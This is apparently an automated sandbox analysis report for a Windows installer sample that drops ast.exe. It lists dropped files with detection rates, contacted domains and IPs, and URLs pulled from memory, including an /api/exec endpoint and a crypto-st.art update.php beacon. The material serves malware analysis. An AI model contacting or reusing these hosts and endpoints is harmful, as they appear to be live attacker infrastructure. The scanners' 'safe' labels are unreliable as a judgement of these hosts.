C:\Users\user\AppData\Local\Temp\mo6x\AstCrp.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\ast.exe (copy)	12%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\astclient.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\astrct.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\aw_sas32.dll (copy)	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\hatls.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-2EBQK.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-2G518.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-4POLO.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-5IUGA.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-82POG.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-88TFK.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-951GK.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp	12%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-JCPUK.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-KGLTC.tmp	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-PDD2G.tmp	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-SD6OU.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-UA1D6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\is-VCJTB.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\libcrypto-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\libcryptoMD.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\libcurl.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\libeay32.dll (copy)	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\libjpeg-turbo-win.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\libssl-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\msvcr120.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mo6x\opus.dll (copy)	0%	ReversingLabs

Source	Detection	Scanner	Label
https://id.xn--80akicokc0aablc.xn--p1ai:443t:	0%	Avira URL Cloud	safe
http://www.kngstr.com/?PreDefines.ishAbout	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443U	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443Io	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443L	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Typesntime1	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aie03	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:44335:	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443aw	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Typesw)u	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aiexel	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:44335-	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443K	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aill	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/Typespeg-tu	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ait.dll	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai443...	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443-	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443:	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443ers	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443%	0%	Avira URL Cloud	safe
https://id.xn--80akico	0%	Avira URL Cloud	safe
http://crypto-st.art/update.phpy	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:44335y	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443...43	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai_	0%	Avira URL Cloud	safe
http://www.kngstr.com/?PreDefines.ish	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aid003	0%	Avira URL Cloud	safe
http://www.borland.com/namespaces/TypesYfT	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aiexe7	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aiq	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aillx;	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f40;a~8	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ais.dll	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aa	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443zo-	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66ln241119_8036.log	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66u	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443sw.~	0%	Avira URL Cloud	safe
http://www.kngstr.com/?PreDefines.isha	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai03	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66-80akicokc0aablc.x	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66m	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66w	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443...	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66c	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai00	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66e	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66Y	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66Q	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aillll	0%	Avira URL Cloud	safe
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66h	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443...43AW	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aiDUdu	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ait.l;	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443Wl	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1aidll03	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:443&w	0%	Avira URL Cloud	safe
https://id.xn--80akicokc0aablc.xn--p1ai:4430wo~	0%	Avira URL Cloud	safe
https://id.xn-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
trs011.xn--80akicokc0aablc.xn--p1ai	195.19.105.66	true	false	unknown
id.xn--80akicokc0aablc.xn--p1ai	212.193.169.65	true	false	high
crypto-st.art	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.borland.com/namespaces/Typesntime1	ast.exe, 0000000A.00000002.2979445587.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types	ast.exe, 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443aw	ast.exe, 0000000A.00000003.2819563853.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2746778261.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2670067675.000000000609D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443L	ast.exe, 0000000A.00000003.2476123740.0000000006075000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452887279.0000000006075000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/COMODOTimeStampingCA_2.crl0r	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.indyproject.org/	ast.exe.9.dr	false		high
http://www.kngstr.com/?PreDefines.ishAbout	wjpP1EOX0L.exe, 00000000.00000003.1720539531.00000000022AC000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.exe, 00000000.00000003.1710614762.0000000002460000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000001.00000003.1713559295.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000001.00000003.1716936096.00000000021FD000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000003.00000003.2086719713.000000000234D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aie03	ast.exe, 0000000A.00000002.2981320741.0000000002F84000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:44335:	ast.exe, 0000000A.00000003.2476123740.0000000006075000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452887279.0000000006075000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443U	ast.exe, 0000000A.00000003.2435889428.0000000006075000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:44335/	ast.exe, 0000000A.00000003.2452834986.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452524284.0000000006086000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.borland.com/namespaces/Typesw)u	ast.exe, 0000000A.00000002.2979445587.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/docs/http-cookies.html#	ast.exe	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443Io	ast.exe, 0000000A.00000003.2877051123.00000000060A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443t:	ast.exe, 0000000A.00000003.2430087607.000000000605F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/ipr/1526/	ast.exe, 0000000A.00000000.2388256151.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1aiexel	ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2476123740.0000000006060000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:44335-	ast.exe, 0000000A.00000003.2452524284.0000000006086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/docs/copyright.htmlD	ast.exe, 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmp, is-JCPUK.tmp.3.dr, libcurl.dll.9.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443K	ast.exe, 0000000A.00000002.2979445587.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443-	ast.exe, 0000000A.00000003.2452887279.0000000006075000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.borland.com/namespaces/Typespeg-tu	ast.exe, 0000000A.00000002.2979445587.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443/	ast.exe, 0000000A.00000003.2877051123.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2993259885.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2787353293.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2429957558.0000000006092000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2730238261.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2745744616.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2819335046.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2888016220.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2730618420.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2856120074.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452524284.0000000006086000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2722515590.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2907031061.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:4430	ast.exe, 0000000A.00000002.2988967323.00000000042E4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ait.dll	ast.exe, 0000000A.00000003.2452887279.0000000006060000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aill	ast.exe, 0000000A.00000003.2476123740.0000000006060000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai443...	ast.exe, 0000000A.00000002.2982914474.0000000003194000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443:	ast.exe, 0000000A.00000003.2551550301.00000000060F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.innosetup.com/	wjpP1EOX0L.exe, 00000000.00000003.1711898611.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.exe, 00000000.00000003.1711597591.0000000002460000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000001.00000000.1712569015.0000000000401000.00000020.00000001.01000000.00000004.sdmp, wjpP1EOX0L.tmp.0.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443ers	ast.exe, 0000000A.00000003.2856120074.00000000060A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai	ast.exe.9.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443%	ast.exe, 0000000A.00000003.2551675843.0000000006097000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2561692182.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525993259.0000000006099000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akico	ast.exe, 0000000A.00000002.2996363895.0000000008F8C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:44335y	ast.exe, 0000000A.00000002.2981320741.0000000002F4B000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443/og	ast.exe, 0000000A.00000003.2730238261.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2819335046.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2888016220.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2730618420.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2856120074.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:44335	ast.exe, 0000000A.00000003.2526279673.000000000607B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452524284.0000000006086000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443...43	ast.exe, 0000000A.00000002.2981320741.0000000002F43000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kngstr.com/?PreDefines.ish	wjpP1EOX0L.exe, 00000000.00000003.1720539531.00000000022C2000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.exe, 00000002.00000003.2098213335.00000000022A5000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443/Cln241119_8036.log	ast.exe, 0000000A.00000003.2745744616.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crypto-st.art/update.phpy	ast.exe, 0000000B.00000002.2513039914.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443/Cln241119_8036.logw	ast.exe, 0000000A.00000003.2745744616.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.borland.com/namespaces/TypesYfT	ast.exe, 0000000B.00000002.2513073562.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai_	ast.exe, 0000000A.00000003.2552338521.0000000006061000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/ipr/1524/	ast.exe, 0000000A.00000000.2388256151.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	false		high
https://id.xn--80akicokc0aablc.xn--	ast.exe, 0000000A.00000003.2696699050.000000000608A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://id.xn--80akicokc0aablc.xn--p1aid003	ast.exe, 0000000A.00000002.2981320741.0000000002F84000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crypto-st.art/update.php	ast.exe, 0000000A.00000002.2980985284.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2513039914.0000000000D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/)	ast.exe.9.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1aiexe7	ast.exe, 0000000A.00000003.2436010829.0000000006071000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2435889428.0000000006065000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2476123740.0000000006060000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aiq	ast.exe, 0000000A.00000002.2982914474.0000000003194000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:	ast.exe, 0000000A.00000003.2856120074.0000000006087000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ais.dll	ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1aillx;	ast.exe, 0000000A.00000003.2476123740.0000000006060000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/e	ast.exe, 0000000A.00000002.2979445587.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.openssl.org/V	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2094846139.000000000361A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, is-VCJTB.tmp.3.dr	false		high
https://id.xn--80akicokc0aa	ast.exe, 0000000A.00000003.2474490964.000000000608D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2436010829.0000000006071000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2435889428.0000000006065000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	wjpP1EOX0L.exe	false		high
http://crypto-st.art/update.php?id=142104603&stat=6f83f40;a~8	ast.exe, 0000000A.00000003.2973573202.0000000006088000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2953370709.000000000608B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443zo-	ast.exe, 0000000A.00000003.2746778261.00000000060A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	false		high
https://curl.haxx.se/docs/http-cookies.html	ast.exe, ast.exe, 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmp, is-JCPUK.tmp.3.dr, libcurl.dll.9.dr	false		high
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66	ast.exe, 0000000A.00000003.2856120074.0000000006087000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66ln241119_8036.log	ast.exe, 0000000A.00000003.2888461757.0000000006091000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2979445587.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.borland.com/namespaces/Types	ast.exe, 0000000A.00000002.2979445587.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2513073562.0000000000DA9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0B	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66u	ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kngstr.com/?PreDefines.isha	wjpP1EOX0L.tmp, 00000001.00000003.1716936096.00000000021F5000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000003.00000003.2086719713.0000000002345000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.haxx.se/V	ast.exe, 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmp, is-JCPUK.tmp.3.dr, libcurl.dll.9.dr	false		high
https://datatracker.ietf.org/ipr/1914/	ast.exe, 0000000A.00000000.2388256151.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	false		high
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66w	ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2856120074.0000000006087000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
